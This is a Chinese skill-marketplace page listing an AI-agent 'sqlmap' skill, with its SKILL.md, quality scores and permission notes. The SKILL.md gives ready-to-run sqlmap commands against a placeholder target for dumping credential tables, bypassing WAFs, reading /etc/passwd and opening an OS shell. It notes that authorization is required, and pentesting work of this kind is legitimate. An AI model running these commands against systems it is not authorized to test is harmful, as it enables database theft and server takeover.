sqlmap

sqlmap:用于检测和利用 SQL 注入漏洞的自动化工具。适用于测试 SQL 注入、提取数据库内容、通过注入绕过身份验证、自动化注入测试或导出数据库架构等场景。

仓库最近推送
GitHub Stars
219
Forks
38
Issues / PRs
7

安装方式

先用 Prompt 核对来源与依赖。也可下载安装包。

用 AI 助手安装

复制提示词,让助手先核对固定版本和依赖。

查看 Prompt收起 Prompt
先检查当前 Agent 是否已安装 SkillPI Skill Finder。如果尚未安装,请按官方仓库的说明安装并启用:https://github.com/Findskills/skillpi。然后使用 Skill Finder 打开此 SkillPI 详情页并定位 "sqlmap":https://skillpi.com/zh/skills/deepskill-78d8a1d67ebf532dfd6824112edd0c529bdfc912e913f86b02e1a0bdac6f8942。安装前核对上游来源和版本:https://github.com/TerminalSkills/skills。来源不一致时停止并说明差异。核对通过后,用 Skill Finder 安装目标 Skill,并报告安装路径和来源版本。

来源与配置

github.com

配置方式待核实

请查看原始来源中的适用工具、依赖和权限要求。

安装实测待补充

sqlmap:用于检测和利用 SQL 注入漏洞的自动化工具。适用于测试 SQL 注入、提取数据库内容、通过注入绕过身份验证、自动化注入测试或导出数据库架构等场景。

0 下载

介绍来源: third_party · TerminalSkills · 1.0.0 参考来源

SkillPi 解读

实测状态
未测试

文件浏览

在原站浏览文件 ↗

原始 SKILL.md

打开原文 ↗
Frontmatter
name: sqlmap
description: >-
  Detect and exploit SQL injection with sqlmap. Use when a user asks to test
  for SQL injection, extract database contents, bypass authentication via
  SQLi, automate injection testing, or dump database schemas.
license: Apache-2.0
compatibility: 'Linux, macOS, Windows (Python 3)'
metadata:
  author: terminal-skills
  version: 1.0.0
  category: devops
  tags:
    - sqlmap
    - sql-injection
    - penetration-testing
    - database
    - web-security

sqlmap

Overview

sqlmap automates SQL injection detection and exploitation. It supports all major databases (MySQL, PostgreSQL, MSSQL, Oracle, SQLite), all injection techniques (boolean-blind, time-blind, error-based, UNION, stacked queries), and can extract entire databases, read/write files on the server, and execute OS commands through SQL injection.

Instructions

Step 1: Basic Detection

# Test a URL parameter for SQL injection
sqlmap -u "https://target.example.com/products?id=1" --batch
# --batch: use defaults for all prompts (non-interactive)

# Test POST parameters
sqlmap -u "https://target.example.com/login" \
  --data="username=admin&password=test" \
  --batch

# Test with cookies and headers (authenticated sessions)
sqlmap -u "https://target.example.com/api/user?id=1" \
  --cookie="session=abc123" \
  --headers="Authorization: Bearer eyJ..." \
  --batch

# Specify which parameter to test
sqlmap -u "https://target.example.com/search?q=test&category=1&page=1" \
  -p "category" \
  --batch

Step 2: Database Enumeration

# List all databases
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch

# List tables in a database
sqlmap -u "https://target.example.com/products?id=1" \
  -D webapp_db --tables --batch

# List columns in a table
sqlmap -u "https://target.example.com/products?id=1" \
  -D webapp_db -T users --columns --batch

# Dump specific columns (e.g., credentials)
sqlmap -u "https://target.example.com/products?id=1" \
  -D webapp_db -T users -C "username,email,password_hash" --dump --batch

# Dump everything (use cautiously)
sqlmap -u "https://target.example.com/products?id=1" \
  -D webapp_db --dump-all --batch

Step 3: Advanced Techniques

# Specify injection technique
sqlmap -u "https://target.example.com/products?id=1" \
  --technique=BT --batch
# B: Boolean-blind, T: Time-blind, E: Error-based
# U: UNION, S: Stacked queries, Q: Inline queries

# Tamper scripts for WAF bypass
sqlmap -u "https://target.example.com/products?id=1" \
  --tamper=space2comment,between,randomcase \
  --random-agent --batch
# space2comment: replaces spaces with /**/
# between: replaces > with NOT BETWEEN 0 AND
# randomcase: randomizes keyword case

# Test REST API JSON parameters
sqlmap -u "https://target.example.com/api/search" \
  --data='{"query":"test","limit":10}' \
  --content-type="application/json" \
  -p "query" --batch

# Level and risk increase (deeper testing)
sqlmap -u "https://target.example.com/products?id=1" \
  --level=5 --risk=3 --batch
# level 5: tests cookies, User-Agent, Referer, all params
# risk 3: includes heavy time-blind and OR-based tests

Step 4: Post-Exploitation

# Read files from server (if DB user has FILE privilege)
sqlmap -u "https://target.example.com/products?id=1" \
  --file-read="/etc/passwd" --batch

# Get an OS shell (stacked queries + privileges needed)
sqlmap -u "https://target.example.com/products?id=1" \
  --os-shell --batch

# Get a SQL shell
sqlmap -u "https://target.example.com/products?id=1" \
  --sql-shell --batch

# Check current DB user and privileges
sqlmap -u "https://target.example.com/products?id=1" \
  --current-user --current-db --is-dba --batch

Step 5: Crawl and Test Entire Application

# Crawl the site and test all found parameters
sqlmap -u "https://target.example.com/" \
  --crawl=3 --batch --forms
# --crawl=3: follow links up to depth 3
# --forms: test HTML form parameters too

# Use a Burp/ZAP request file
sqlmap -r captured-request.txt --batch
# captured-request.txt is a raw HTTP request file

Guidelines

  • Always have written authorization. SQL injection testing against unauthorized targets is illegal.
  • Start with --batch --level=1 --risk=1 (defaults). Increase level/risk only if needed.
  • --batch mode is essential for automation — prevents interactive prompts.
  • Time-blind injection is slow. Use --threads=10 to speed up extraction.
  • Tamper scripts bypass WAFs. Common: space2comment, between, charencode, randomcase.
  • Use -r request.txt with Burp Suite exported requests for complex auth flows.
  • --dump extracts data. In a real pentest, dump only what proves the vulnerability — not the entire database.
  • sqlmap auto-detects the DBMS. Use --dbms=mysql to skip detection (faster).

当前收录版本

1.0.0

核对来源版本 ↗

安全与评测信息

质量评测

满分100 · 来自 SkillPi LAB 实验室的评测报告。

场景价值85/100

亮点

  • 提供专业的 SQL 注入自动化检测与利用能力,满足渗透测试核心需求
  • 覆盖从基础检测到后渗透的完整工作流,实用价值高
触发精准95/100

亮点

  • 触发场景描述清晰完整,涵盖测试、提取、绕过、自动化等关键意图
  • 边界明确,不易与其他安全工具混淆
结构规范90/100

待提升项

  • description写错位置 原报告严重程度:轻微

    顶层 frontmatter 中 description 为空,实际描述内容位于 skill_body 内部

    改进建议:将 description 内容移至顶层 frontmatter 字段

  • 缺少When to Use显式章节 原报告严重程度:轻微

    未设置独立的 When to Use 章节,虽 description 已覆盖但结构不完整

    改进建议:在 Overview 后添加 When to Use 章节以增强可读性

  • 缺少端到端完整示例 原报告严重程度:轻微

    各步骤示例独立,缺乏一个从检测到数据提取的完整连贯示例

    改进建议:补充一个端到端实战示例,展示完整利用流程

亮点

  • Phase 划分清晰(Step 1~5),逻辑递进合理
  • frontmatter 元数据完整,包含作者、版本、分类和标签
  • Guidelines 提供重要安全与最佳实践指导
执行可靠90/100

亮点

  • 命令语法正确,参数使用规范,覆盖主要异常场景(如 WAF 绕过、权限检查)
  • 强调合法授权要求,对高风险操作(--dump-all、--os-shell)有明确警示
  • 提供性能优化建议(--threads、--dbms 指定)提升执行效率
证据可验 (前四项均值)90/100

取前四项原始分值的算术平均,四舍五入取整。可通过收录报告核对各项评分与说明,运行记录需单独查证。

正文静态检测

100 / 100 · skillpi-20261123-no-r3-v1

正文未命中当前规则。

分数仅反映正文中的规则命中,供使用前参考。附件与运行行为不在此评分范围内。

权限与使用前检查

根据当前主文档自动整理,命中内容可能是示例或防护说明;不是实际权限声明,也未覆盖附件、外部依赖或运行行为。

  • 账号、密钥或授权

    使用专用、最小权限账号,不把密钥粘贴到公开内容或命令日志;核对接收数据的服务与租户。

    主文档提及 · 第 67 行
文档引用的域名或地址

这些地址可能用于文档链接或示例,不是已批准的联网清单。使用前核对实际目的地及发送的数据。

  • target.example.com

本站展示提示不会授予权限。涉及文件改动、密钥、外部发送或费用时,仍由你使用的工具按需确认。

安全评级与访问范围

safe · 静态证据核验,不代表运行安全保证。

使用前请由宿主核对并授权实际文件读写、外部服务和联网目的地;本站的核验不会授予任何运行权限。